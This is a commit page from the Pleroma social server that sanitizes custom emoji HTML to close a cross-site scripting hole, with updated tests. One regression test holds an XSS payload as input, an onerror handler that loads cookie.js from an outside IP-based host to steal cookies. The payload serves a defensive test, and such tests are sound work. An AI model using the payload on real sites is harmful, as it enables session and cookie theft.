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formatter: don't add XSS emoji

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This commit is contained in:
William Pitcock 2018-09-02 00:04:09 +00:00
parent 3c7280934e
commit 834515fb51
4 changed files with 19 additions and 3 deletions
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1
lib/pleroma/formatter.ex
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@ -154,6 +154,7 @@ def emojify(text, emoji) do
MediaProxy.url(file) MediaProxy.url(file)
}' />" }' />"
) )
|> HtmlSanitizeEx.basic_html()
end) end)
end end

17
test/formatter_test.exs
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@ -189,11 +189,26 @@ test "it adds cool emoji" do
text = "I love :moominmamma:" text = "I love :moominmamma:"
expected_result = expected_result =
"I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />" "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result assert Formatter.emojify(text) == expected_result
end end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji = %{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
"https://placehold.it/1x1"
}
expected_result =
"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, custom_emoji) == expected_result
end
test "it returns the emoji used in the text" do test "it returns the emoji used in the text" do
text = "I love :moominmamma:" text = "I love :moominmamma:"

2
test/web/twitter_api/representers/activity_representer_test.exs
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@ -126,7 +126,7 @@ test "an activity" do
} }
expected_html = expected_html =
"<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{ "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
mentioned_user.ap_id mentioned_user.ap_id
}\">@shp</a>" }\">@shp</a>"

2
test/web/twitter_api/views/user_view_test.exs
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@ -22,7 +22,7 @@ test "A user with an avatar object", %{user: user} do
test "A user with emoji in username", %{user: user} do test "A user with emoji in username", %{user: user} do
expected = expected =
"<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man" "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"
user = %{ user = %{
user user